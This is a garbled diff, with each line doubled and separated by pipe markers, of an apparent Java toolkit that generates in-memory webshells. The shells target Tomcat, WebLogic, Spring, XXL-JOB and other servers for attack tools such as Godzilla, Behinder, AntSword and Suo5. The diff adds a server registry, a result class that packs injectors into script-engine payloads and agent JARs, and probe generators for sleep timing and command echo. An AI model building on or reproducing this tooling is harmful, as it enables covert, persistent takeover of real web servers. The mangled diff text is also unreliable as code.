import com.reajason.javaweb.memshell.config.InjectorConfig;
|
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -33,18 +37,13 @@ public class Godzilla {
|
|||||||
// .headerValue("test")
|
// .headerValue("test")
|
||||||
.build();
|
.build();
|
||||||
|
|
||||||
GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
|
MemShellResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
|
||||||
|
|
||||||
System.out.println("注入器类名:" + result.getInjectorClassName());
|
System.out.println("注入器类名:" + result.getInjectorClassName());
|
||||||
System.out.println("内存马类名:" + result.getShellClassName());
|
System.out.println("内存马类名:" + result.getShellClassName());
|
||||||
|
|
||||||
System.out.println(result.getShellConfig());
|
System.out.println(result.getShellConfig());
|
||||||
System.out.println(result.getShellToolConfig());
|
System.out.println(result.getShellToolConfig());
|
||||||
|
System.out.println("脚本引擎打包:" + Packers.ScriptEngine.getInstance().pack(result.toClassPackerConfig()));
|
||||||
System.out.println("Base64 打包:" + Packers.Base64.getInstance().pack(result));
|
|
||||||
|
|
||||||
System.out.println("脚本引擎打包:" + Packers.ScriptEngine.getInstance().pack(result));
|
|
||||||
|
|
||||||
System.out.println("CC3 打包:" + Packers.JavaCommonsCollections3.getInstance().pack(result));
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+9
-5
@@ -1,11 +1,15 @@
|
|||||||
package com.reajason.javaweb;
|
package com.reajason.javaweb;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.*;
|
import com.reajason.javaweb.memshell.MemShellGenerator;
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
import com.reajason.javaweb.memshell.MemShellResult;
|
||||||
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
import com.reajason.javaweb.memshell.config.GodzillaConfig;
|
import com.reajason.javaweb.memshell.config.GodzillaConfig;
|
||||||
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
import com.reajason.javaweb.memshell.packer.jar.JarPacker;
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
import com.reajason.javaweb.packer.jar.JarPacker;
|
||||||
|
import com.sun.security.ntlm.Server;
|
||||||
|
|
||||||
import java.nio.file.Files;
|
import java.nio.file.Files;
|
||||||
import java.nio.file.Paths;
|
import java.nio.file.Paths;
|
||||||
@@ -38,7 +42,7 @@ public class GodzillaAgent {
|
|||||||
// .headerValue("test")
|
// .headerValue("test")
|
||||||
.build();
|
.build();
|
||||||
|
|
||||||
GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
|
MemShellResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
|
||||||
|
|
||||||
System.out.println("注入器类名:" + result.getInjectorClassName());
|
System.out.println("注入器类名:" + result.getInjectorClassName());
|
||||||
System.out.println("内存马类名:" + result.getShellClassName());
|
System.out.println("内存马类名:" + result.getShellClassName());
|
||||||
@@ -46,7 +50,7 @@ public class GodzillaAgent {
|
|||||||
System.out.println(result.getShellConfig());
|
System.out.println(result.getShellConfig());
|
||||||
System.out.println(result.getShellToolConfig());
|
System.out.println(result.getShellToolConfig());
|
||||||
|
|
||||||
byte[] agentJarBytes = ((JarPacker) Packers.AgentJar.getInstance()).packBytes(result);
|
byte[] agentJarBytes = ((JarPacker) Packers.AgentJar.getInstance()).packBytes(result.toJarPackerConfig());
|
||||||
Files.write(Paths.get("agent.jar"), agentJarBytes);
|
Files.write(Paths.get("agent.jar"), agentJarBytes);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+35
@@ -0,0 +1,35 @@
|
|||||||
|
package com.reajason.javaweb;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
import com.reajason.javaweb.probe.ProbeContent;
|
||||||
|
import com.reajason.javaweb.probe.ProbeMethod;
|
||||||
|
import com.reajason.javaweb.probe.ProbeShellGenerator;
|
||||||
|
import com.reajason.javaweb.probe.ProbeShellResult;
|
||||||
|
import com.reajason.javaweb.probe.config.ProbeConfig;
|
||||||
|
import com.reajason.javaweb.probe.config.ResponseBodyConfig;
|
||||||
|
|
||||||
|
import static com.reajason.javaweb.Server.Tomcat;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/8/13
|
||||||
|
*/
|
||||||
|
public class ResponseBodyProbe {
|
||||||
|
public static void main(String[] args) {
|
||||||
|
ProbeConfig probeConfig = ProbeConfig.builder()
|
||||||
|
.probeMethod(ProbeMethod.ResponseBody)
|
||||||
|
.probeContent(ProbeContent.Command)
|
||||||
|
.shrink(true)
|
||||||
|
.debug(false)
|
||||||
|
.build();
|
||||||
|
|
||||||
|
ResponseBodyConfig responseBodyConfig = ResponseBodyConfig.builder()
|
||||||
|
.server(Tomcat)
|
||||||
|
.reqHeaderName("X-Echo")
|
||||||
|
.build();
|
||||||
|
|
||||||
|
ProbeShellResult result = ProbeShellGenerator.generate(probeConfig, responseBodyConfig);
|
||||||
|
|
||||||
|
System.out.println("脚本引擎打包:" + Packers.ScriptEngine.getInstance().pack(result.toClassPackerConfig()));
|
||||||
|
}
|
||||||
|
}
|
||||||
+34
@@ -0,0 +1,34 @@
|
|||||||
|
package com.reajason.javaweb;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
import com.reajason.javaweb.probe.ProbeContent;
|
||||||
|
import com.reajason.javaweb.probe.ProbeMethod;
|
||||||
|
import com.reajason.javaweb.probe.ProbeShellGenerator;
|
||||||
|
import com.reajason.javaweb.probe.ProbeShellResult;
|
||||||
|
import com.reajason.javaweb.probe.config.ProbeConfig;
|
||||||
|
import com.reajason.javaweb.probe.config.SleepConfig;
|
||||||
|
|
||||||
|
import static com.reajason.javaweb.Server.Tomcat;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/8/13
|
||||||
|
*/
|
||||||
|
public class SleepProbe {
|
||||||
|
public static void main(String[] args) {
|
||||||
|
ProbeConfig probeConfig = ProbeConfig.builder()
|
||||||
|
.probeMethod(ProbeMethod.Sleep)
|
||||||
|
.probeContent(ProbeContent.Server) // 暂只支持 Server
|
||||||
|
.shrink(true)
|
||||||
|
.debug(false)
|
||||||
|
.build();
|
||||||
|
|
||||||
|
SleepConfig sleepConfig = SleepConfig.builder()
|
||||||
|
.server(Tomcat)
|
||||||
|
.seconds(5).build();
|
||||||
|
|
||||||
|
ProbeShellResult result = ProbeShellGenerator.generate(probeConfig, sleepConfig);
|
||||||
|
|
||||||
|
System.out.println("脚本引擎打包:" + Packers.ScriptEngine.getInstance().pack(result.toClassPackerConfig()));
|
||||||
|
}
|
||||||
|
}
|
||||||
+16
-23
@@ -27,29 +27,22 @@ tasks.test {
|
|||||||
}
|
}
|
||||||
|
|
||||||
dependencies {
|
dependencies {
|
||||||
implementation(platform(project(":memshell-party-bom")))
|
|
||||||
implementation(project(":memshell-party-common"))
|
implementation(project(":memshell-party-common"))
|
||||||
implementation(project(":deserialize"))
|
implementation(project(":packer"))
|
||||||
|
implementation(libs.byte.buddy)
|
||||||
|
implementation(libs.asm.commons)
|
||||||
|
implementation(libs.javax.websocket.api)
|
||||||
|
implementation(libs.javax.servlet.api)
|
||||||
|
implementation(libs.spring.webmvc)
|
||||||
|
implementation(libs.spring.webflux)
|
||||||
|
implementation(libs.reactor.netty.core)
|
||||||
|
|
||||||
implementation(project(":memshell"))
|
implementation(libs.bundles.jna)
|
||||||
implementation("net.bytebuddy:byte-buddy")
|
implementation(libs.bcel)
|
||||||
implementation("org.ow2.asm:asm-commons")
|
implementation(libs.okhttp3)
|
||||||
implementation("net.java.dev.jna:jna")
|
implementation(libs.logback.classic)
|
||||||
implementation("net.java.dev.jna:jna-platform")
|
implementation(libs.jackson.databind)
|
||||||
implementation("javax.servlet:javax.servlet-api")
|
testImplementation(libs.junit.jupiter)
|
||||||
implementation("javax.websocket:javax.websocket-api")
|
testRuntimeOnly(libs.junit.platform.launcher)
|
||||||
implementation("org.apache.bcel:bcel")
|
testImplementation(libs.bundles.mockito)
|
||||||
implementation("commons-io:commons-io")
|
|
||||||
implementation("org.apache.commons:commons-lang3")
|
|
||||||
implementation("com.squareup.okhttp3:okhttp")
|
|
||||||
implementation("ch.qos.logback:logback-classic")
|
|
||||||
implementation("com.fasterxml.jackson.core:jackson-databind")
|
|
||||||
implementation("org.springframework:spring-webmvc")
|
|
||||||
implementation("org.springframework:spring-webflux")
|
|
||||||
implementation("io.projectreactor.netty:reactor-netty-core")
|
|
||||||
testImplementation(platform("org.junit:junit-bom"))
|
|
||||||
testImplementation("org.junit.jupiter:junit-jupiter")
|
|
||||||
testRuntimeOnly("org.junit.platform:junit-platform-launcher")
|
|
||||||
testImplementation("org.mockito:mockito-core")
|
|
||||||
testImplementation("org.mockito:mockito-junit-jupiter")
|
|
||||||
}
|
}
|
||||||
@@ -0,0 +1,15 @@
|
|||||||
|
package com.reajason.javaweb;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/7/21
|
||||||
|
*/
|
||||||
|
public class GenerationException extends RuntimeException {
|
||||||
|
public GenerationException(String message) {
|
||||||
|
super(message);
|
||||||
|
}
|
||||||
|
|
||||||
|
public GenerationException(String message, Throwable cause) {
|
||||||
|
super(message, cause);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,23 @@
|
|||||||
|
package com.reajason.javaweb;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/8/11
|
||||||
|
*/
|
||||||
|
public class Server {
|
||||||
|
public static final String Tomcat = "Tomcat";
|
||||||
|
public static final String Jetty = "Jetty";
|
||||||
|
public static final String Undertow = "Undertow";
|
||||||
|
public static final String JBoss = "JBoss";
|
||||||
|
public static final String Resin = "Resin";
|
||||||
|
public static final String WebLogic = "WebLogic";
|
||||||
|
public static final String WebSphere = "WebSphere";
|
||||||
|
public static final String GlassFish = "GlassFish";
|
||||||
|
public static final String TongWeb = "TongWeb";
|
||||||
|
public static final String BES = "BES";
|
||||||
|
public static final String InforSuite = "InforSuite";
|
||||||
|
public static final String Apusic = "Apusic";
|
||||||
|
public static final String SpringWebMvc = "SpringWebMvc";
|
||||||
|
public static final String SpringWebFlux = "SpringWebFlux";
|
||||||
|
public static final String XXLJOB = "XXLJOB";
|
||||||
|
}
|
||||||
+1
-1
@@ -1,4 +1,4 @@
|
|||||||
package com.reajason.javaweb.memshell.generator;
|
package com.reajason.javaweb;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -1,12 +1,12 @@
|
|||||||
package com.reajason.javaweb.memshell;
|
package com.reajason.javaweb.memshell;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
import com.reajason.javaweb.GenerationException;
|
||||||
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||||
import com.reajason.javaweb.memshell.generator.InjectorGenerator;
|
import com.reajason.javaweb.memshell.generator.InjectorGenerator;
|
||||||
import com.reajason.javaweb.memshell.server.AbstractShell;
|
import com.reajason.javaweb.memshell.server.AbstractServer;
|
||||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
import com.reajason.javaweb.utils.CommonUtil;
|
||||||
import org.apache.commons.lang3.StringUtils;
|
import org.apache.commons.lang3.StringUtils;
|
||||||
import org.apache.commons.lang3.tuple.Pair;
|
import org.apache.commons.lang3.tuple.Pair;
|
||||||
|
|
||||||
@@ -18,15 +18,15 @@ import java.util.Map;
|
|||||||
*/
|
*/
|
||||||
public class MemShellGenerator {
|
public class MemShellGenerator {
|
||||||
|
|
||||||
public static GenerateResult generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig) {
|
public static MemShellResult generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig) {
|
||||||
Server server = shellConfig.getServer();
|
String serverName = shellConfig.getServer();
|
||||||
AbstractShell shell = server.getShell();
|
AbstractServer server = ServerFactory.getServer(serverName);
|
||||||
if (shell == null) {
|
if (server == null) {
|
||||||
throw new IllegalArgumentException("Unsupported server: " + server);
|
throw new GenerationException("Unsupported server: " + serverName);
|
||||||
}
|
}
|
||||||
|
|
||||||
if (StringUtils.isBlank(shellToolConfig.getShellClassName())) {
|
if (StringUtils.isBlank(shellToolConfig.getShellClassName())) {
|
||||||
shellToolConfig.setShellClassName(CommonUtil.generateShellClassName(server, shellConfig.getShellType()));
|
shellToolConfig.setShellClassName(CommonUtil.generateShellClassName(serverName, shellConfig.getShellType()));
|
||||||
}
|
}
|
||||||
|
|
||||||
if (StringUtils.isBlank(injectorConfig.getInjectorClassName())) {
|
if (StringUtils.isBlank(injectorConfig.getInjectorClassName())) {
|
||||||
@@ -36,11 +36,11 @@ public class MemShellGenerator {
|
|||||||
Class<?> injectorClass = null;
|
Class<?> injectorClass = null;
|
||||||
|
|
||||||
if (ShellTool.Custom.equals(shellConfig.getShellTool())) {
|
if (ShellTool.Custom.equals(shellConfig.getShellTool())) {
|
||||||
injectorClass = shellConfig.getServer().getShell().getShellInjectorMapping().getInjector(shellConfig.getShellType());
|
injectorClass = server.getShellInjectorMapping().getInjector(shellConfig.getShellType());
|
||||||
} else {
|
} else {
|
||||||
Pair<Class<?>, Class<?>> shellInjectorPair = shellConfig.getServer().getShell().getShellInjectorPair(shellConfig.getShellTool(), shellConfig.getShellType());
|
Pair<Class<?>, Class<?>> shellInjectorPair = server.getShellInjectorPair(shellConfig.getShellTool(), shellConfig.getShellType());
|
||||||
if (shellInjectorPair == null) {
|
if (shellInjectorPair == null) {
|
||||||
throw new UnsupportedOperationException(server + " unsupported shell type: " + shellConfig.getShellType() + " for tool: " + shellConfig.getShellTool());
|
throw new GenerationException(serverName + " unsupported shell type: " + shellConfig.getShellType() + " for tool: " + shellConfig.getShellTool());
|
||||||
}
|
}
|
||||||
Class<?> shellClass = shellInjectorPair.getLeft();
|
Class<?> shellClass = shellInjectorPair.getLeft();
|
||||||
injectorClass = shellInjectorPair.getRight();
|
injectorClass = shellInjectorPair.getRight();
|
||||||
@@ -57,7 +57,7 @@ public class MemShellGenerator {
|
|||||||
byte[] injectorBytes = injectorGenerator.generate();
|
byte[] injectorBytes = injectorGenerator.generate();
|
||||||
Map<String, byte[]> innerClassBytes = injectorGenerator.getInnerClassBytes();
|
Map<String, byte[]> innerClassBytes = injectorGenerator.getInnerClassBytes();
|
||||||
|
|
||||||
return GenerateResult.builder()
|
return MemShellResult.builder()
|
||||||
.shellConfig(shellConfig)
|
.shellConfig(shellConfig)
|
||||||
.shellToolConfig(shellToolConfig)
|
.shellToolConfig(shellToolConfig)
|
||||||
.injectorConfig(injectorConfig)
|
.injectorConfig(injectorConfig)
|
||||||
|
|||||||
@@ -0,0 +1,77 @@
|
|||||||
|
package com.reajason.javaweb.memshell;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||||
|
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||||
|
import com.reajason.javaweb.packer.JarPackerConfig;
|
||||||
|
import lombok.AllArgsConstructor;
|
||||||
|
import lombok.Builder;
|
||||||
|
import lombok.Data;
|
||||||
|
import lombok.NoArgsConstructor;
|
||||||
|
|
||||||
|
import java.util.Base64;
|
||||||
|
import java.util.HashMap;
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/11/24
|
||||||
|
*/
|
||||||
|
@Data
|
||||||
|
@NoArgsConstructor
|
||||||
|
@AllArgsConstructor
|
||||||
|
@Builder(builderClassName = "Builder")
|
||||||
|
public class MemShellResult {
|
||||||
|
private String shellClassName;
|
||||||
|
private transient byte[] shellBytes;
|
||||||
|
private long shellSize;
|
||||||
|
private String shellBytesBase64Str;
|
||||||
|
private String injectorClassName;
|
||||||
|
private transient byte[] injectorBytes;
|
||||||
|
private transient Map<String, byte[]> injectorInnerClassBytes;
|
||||||
|
private long injectorSize;
|
||||||
|
private String injectorBytesBase64Str;
|
||||||
|
private ShellConfig shellConfig;
|
||||||
|
private ShellToolConfig shellToolConfig;
|
||||||
|
private InjectorConfig injectorConfig;
|
||||||
|
|
||||||
|
public static class Builder {
|
||||||
|
public MemShellResult build() {
|
||||||
|
if (shellBytes != null) {
|
||||||
|
shellBytesBase64Str = Base64.getEncoder().encodeToString(shellBytes);
|
||||||
|
shellSize = shellBytes.length;
|
||||||
|
}
|
||||||
|
if (injectorBytes != null) {
|
||||||
|
injectorBytesBase64Str = Base64.getEncoder().encodeToString(injectorBytes);
|
||||||
|
injectorSize = injectorBytes.length;
|
||||||
|
}
|
||||||
|
return new MemShellResult(shellClassName, shellBytes, shellSize, shellBytesBase64Str,
|
||||||
|
injectorClassName, injectorBytes, injectorInnerClassBytes, injectorSize, injectorBytesBase64Str, shellConfig, shellToolConfig, injectorConfig);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public JarPackerConfig toJarPackerConfig() {
|
||||||
|
JarPackerConfig jarPackerConfig = new JarPackerConfig();
|
||||||
|
jarPackerConfig.setMainClassName(injectorClassName);
|
||||||
|
Map<String, byte[]> bytes = new HashMap<>();
|
||||||
|
bytes.put(shellClassName, shellBytes);
|
||||||
|
bytes.put(injectorClassName, injectorBytes);
|
||||||
|
if (injectorInnerClassBytes != null) {
|
||||||
|
bytes.putAll(injectorInnerClassBytes);
|
||||||
|
}
|
||||||
|
jarPackerConfig.setClassBytes(bytes);
|
||||||
|
return jarPackerConfig;
|
||||||
|
}
|
||||||
|
|
||||||
|
public ClassPackerConfig toClassPackerConfig() {
|
||||||
|
ClassPackerConfig classPackerConfig = new ClassPackerConfig();
|
||||||
|
classPackerConfig.setClassName(injectorClassName);
|
||||||
|
classPackerConfig.setClassBytes(injectorBytes);
|
||||||
|
classPackerConfig.setClassBytesBase64Str(injectorBytesBase64Str);
|
||||||
|
if (shellConfig != null) {
|
||||||
|
classPackerConfig.setByPassJavaModule(shellConfig.needByPassJavaModule());
|
||||||
|
}
|
||||||
|
return classPackerConfig;
|
||||||
|
}
|
||||||
|
}
|
||||||
+78
-95
@@ -1,5 +1,6 @@
|
|||||||
package com.reajason.javaweb.memshell;
|
package com.reajason.javaweb.memshell;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.Server;
|
||||||
import com.reajason.javaweb.memshell.server.*;
|
import com.reajason.javaweb.memshell.server.*;
|
||||||
import com.reajason.javaweb.memshell.shelltool.antsword.*;
|
import com.reajason.javaweb.memshell.shelltool.antsword.*;
|
||||||
import com.reajason.javaweb.memshell.shelltool.behinder.*;
|
import com.reajason.javaweb.memshell.shelltool.behinder.*;
|
||||||
@@ -7,108 +8,43 @@ import com.reajason.javaweb.memshell.shelltool.command.*;
|
|||||||
import com.reajason.javaweb.memshell.shelltool.godzilla.*;
|
import com.reajason.javaweb.memshell.shelltool.godzilla.*;
|
||||||
import com.reajason.javaweb.memshell.shelltool.neoreg.*;
|
import com.reajason.javaweb.memshell.shelltool.neoreg.*;
|
||||||
import com.reajason.javaweb.memshell.shelltool.suo5.*;
|
import com.reajason.javaweb.memshell.shelltool.suo5.*;
|
||||||
import lombok.Getter;
|
|
||||||
|
import java.util.Collections;
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.Map;
|
||||||
|
import java.util.Set;
|
||||||
|
import java.util.concurrent.ConcurrentHashMap;
|
||||||
|
import java.util.concurrent.CopyOnWriteArrayList;
|
||||||
|
import java.util.function.Supplier;
|
||||||
|
|
||||||
import static com.reajason.javaweb.memshell.ShellType.*;
|
import static com.reajason.javaweb.memshell.ShellType.*;
|
||||||
import static com.reajason.javaweb.memshell.server.ServerToolRegistry.addToolMapping;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2024/11/22
|
* @since 2025/8/11
|
||||||
*/
|
*/
|
||||||
@Getter
|
public class ServerFactory {
|
||||||
public enum Server {
|
private static final Map<String, Supplier<AbstractServer>> registry = new ConcurrentHashMap<>();
|
||||||
/**
|
private static final Map<String, AbstractServer> instances = new ConcurrentHashMap<>();
|
||||||
* Tomcat 中间件
|
private static final List<String> servers = new CopyOnWriteArrayList<>();
|
||||||
*/
|
|
||||||
Tomcat(new TomcatShell()),
|
|
||||||
/**
|
|
||||||
* Jetty 中间件
|
|
||||||
*/
|
|
||||||
Jetty(new JettyShell()),
|
|
||||||
/**
|
|
||||||
* JBoss AS 中间件,JBoss 6.4-EAP 也使用的当前方式 <a href="https://jbossas.jboss.org/downloads">JBoss AS</a>
|
|
||||||
*/
|
|
||||||
JBossAS(new JbossShell()),
|
|
||||||
JBossEAP6(new JbossShell()),
|
|
||||||
/**
|
|
||||||
* Undertow,对应是 Wildfly 以及 JBoss EAP,也有可能是 SpringBoot 用的
|
|
||||||
* <a href="https://developers.redhat.com/products/eap/download">JBossEAP</a>
|
|
||||||
*/
|
|
||||||
Undertow(new UndertowShell()),
|
|
||||||
JBossEAP7(new UndertowShell()),
|
|
||||||
WildFly(new UndertowShell()),
|
|
||||||
|
|
||||||
/**
|
|
||||||
* SpringMVC 框架
|
|
||||||
*/
|
|
||||||
SpringWebMvc(new SpringWebMvcShell()),
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Spring WebFlux 框架
|
|
||||||
*/
|
|
||||||
SpringWebFlux(new SpringWebFluxShell()),
|
|
||||||
|
|
||||||
/**
|
|
||||||
* WebSphere 中间件
|
|
||||||
*/
|
|
||||||
WebSphere(new WebSphereShell()),
|
|
||||||
|
|
||||||
/**
|
|
||||||
* WebLogic 中间件
|
|
||||||
*/
|
|
||||||
WebLogic(new WebLogicShell()),
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Resin 中间件,<a href="https://caucho.com/products/resin/download">Resin</a>
|
|
||||||
*/
|
|
||||||
Resin(new ResinShell()),
|
|
||||||
|
|
||||||
/**
|
|
||||||
* GlassFish 中间件
|
|
||||||
*/
|
|
||||||
GlassFish(new GlassFishShell()),
|
|
||||||
Payara(new GlassFishShell()),
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 宝兰德中间件
|
|
||||||
*/
|
|
||||||
BES(new BesShell()),
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 东方通中间件
|
|
||||||
*/
|
|
||||||
TongWeb6(new TongWeb6Shell()),
|
|
||||||
TongWeb7(new TongWeb7Shell()),
|
|
||||||
TongWeb8(new TongWeb8Shell()),
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 金蝶天燕中间件
|
|
||||||
*/
|
|
||||||
Apusic(new ApusicShell()),
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 中创中间件
|
|
||||||
*/
|
|
||||||
InforSuite(new InforSuiteShell()),
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 普元中间件
|
|
||||||
*/
|
|
||||||
Primeton(new GlassFishShell()),
|
|
||||||
|
|
||||||
/**
|
|
||||||
* XXL-JOB
|
|
||||||
*/
|
|
||||||
XXLJOB(new XxlJobShell());
|
|
||||||
|
|
||||||
private final AbstractShell shell;
|
|
||||||
|
|
||||||
Server(AbstractShell shell) {
|
|
||||||
this.shell = shell;
|
|
||||||
}
|
|
||||||
|
|
||||||
static {
|
static {
|
||||||
|
register(Server.Tomcat, Tomcat::new);
|
||||||
|
register(Server.Jetty, Jetty::new);
|
||||||
|
register(Server.Undertow, Undertow::new);
|
||||||
|
register(Server.JBoss, Jboss::new);
|
||||||
|
register(Server.Resin, Resin::new);
|
||||||
|
register(Server.WebLogic, WebLogic::new);
|
||||||
|
register(Server.WebSphere, WebSphere::new);
|
||||||
|
register(Server.GlassFish, GlassFish::new);
|
||||||
|
register(Server.TongWeb, TongWeb::new);
|
||||||
|
register(Server.BES, Bes::new);
|
||||||
|
register(Server.InforSuite, InforSuite::new);
|
||||||
|
register(Server.Apusic, Apusic::new);
|
||||||
|
register(Server.SpringWebMvc, SpringWebMvc::new);
|
||||||
|
register(Server.SpringWebFlux, SpringWebFlux::new);
|
||||||
|
register(Server.XXLJOB, XxlJob::new);
|
||||||
|
|
||||||
addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
|
addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
|
||||||
.addShellClass(SERVLET, GodzillaServlet.class)
|
.addShellClass(SERVLET, GodzillaServlet.class)
|
||||||
.addShellClass(JAKARTA_SERVLET, GodzillaServlet.class)
|
.addShellClass(JAKARTA_SERVLET, GodzillaServlet.class)
|
||||||
@@ -259,4 +195,51 @@ public enum Server {
|
|||||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, NeoreGeorg.class)
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, NeoreGeorg.class)
|
||||||
.build());
|
.build());
|
||||||
}
|
}
|
||||||
}
|
|
||||||
|
public static void register(String serverName, Supplier<AbstractServer> shellSupplier) {
|
||||||
|
if (serverName == null || serverName.trim().isEmpty()) {
|
||||||
|
throw new IllegalArgumentException("Server name cannot be null or empty.");
|
||||||
|
}
|
||||||
|
Supplier<AbstractServer> existing = registry.putIfAbsent(serverName, shellSupplier);
|
||||||
|
if (existing == null) {
|
||||||
|
servers.add(serverName);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static AbstractServer getServer(String serverName) {
|
||||||
|
if (serverName == null) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
return instances.computeIfAbsent(serverName, k -> {
|
||||||
|
Supplier<AbstractServer> supplier = registry.get(k);
|
||||||
|
if (supplier == null) {
|
||||||
|
throw new IllegalArgumentException("Unsupported server type: '" + serverName + "'.");
|
||||||
|
}
|
||||||
|
return supplier.get();
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void addToolMapping(ShellTool shellTool, ToolMapping toolMapping) {
|
||||||
|
Map<String, Class<?>> rawToolMapping = toolMapping.getShellClassMap();
|
||||||
|
List<String> supportedServers = ServerFactory.getSupportedServers();
|
||||||
|
for (String supportedServer : supportedServers) {
|
||||||
|
AbstractServer server = ServerFactory.getServer(supportedServer);
|
||||||
|
InjectorMapping shellInjectorMapping = server.getShellInjectorMapping();
|
||||||
|
Set<String> injectorSupportedShellTypes = shellInjectorMapping.getSupportedShellTypes();
|
||||||
|
ToolMapping.ToolMappingBuilder toolMappingBuilder = ToolMapping.builder();
|
||||||
|
|
||||||
|
for (String shellType : injectorSupportedShellTypes) {
|
||||||
|
Class<?> shellClass = rawToolMapping.get(shellType);
|
||||||
|
if (shellClass == null) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
toolMappingBuilder.addShellClass(shellType, shellClass);
|
||||||
|
}
|
||||||
|
server.addToolMapping(shellTool, toolMappingBuilder.build());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static List<String> getSupportedServers() {
|
||||||
|
return Collections.unmodifiableList(servers);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,30 @@
|
|||||||
|
package com.reajason.javaweb.memshell;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/6/11
|
||||||
|
*/
|
||||||
|
public class ServerType {
|
||||||
|
public static final String TOMCAT = "Tomcat";
|
||||||
|
public static final String JETTY = "Jetty";
|
||||||
|
public static final String JBOSS_AS = "JBossAS";
|
||||||
|
public static final String JBOSS_EAP6 = "JBossEAP6";
|
||||||
|
public static final String UNDERTOW = "Undertow";
|
||||||
|
public static final String JBOSS_EAP7 = "JBossEAP7";
|
||||||
|
public static final String WILDFLY = "Wildfly";
|
||||||
|
public static final String RESIN = "Resin";
|
||||||
|
public static final String GLASSFISH = "Glassfish";
|
||||||
|
public static final String PAYARA = "Payara";
|
||||||
|
public static final String WEBLOGIC = "WebLogic";
|
||||||
|
public static final String WEBSPHERE = "WebSphere";
|
||||||
|
public static final String SPRING_WEBMVC = "SpringWebMVC";
|
||||||
|
public static final String SPRING_WEBFLUX = "SpringWebFlux";
|
||||||
|
public static final String XXL_JOB = "XXL-JOB";
|
||||||
|
public static final String APUSIC = "Apusic";
|
||||||
|
public static final String BES = "BES";
|
||||||
|
public static final String INFORSUITE = "InforSuite";
|
||||||
|
public static final String PRIMETON = "Primeton";
|
||||||
|
public static final String TONGWEB6 = "TongWeb6";
|
||||||
|
public static final String TONGWEB7 = "TongWeb7";
|
||||||
|
public static final String TONGWEB8 = "TongWeb8";
|
||||||
|
}
|
||||||
@@ -1,5 +1,6 @@
|
|||||||
package com.reajason.javaweb.memshell;
|
package com.reajason.javaweb.memshell;
|
||||||
|
|
||||||
|
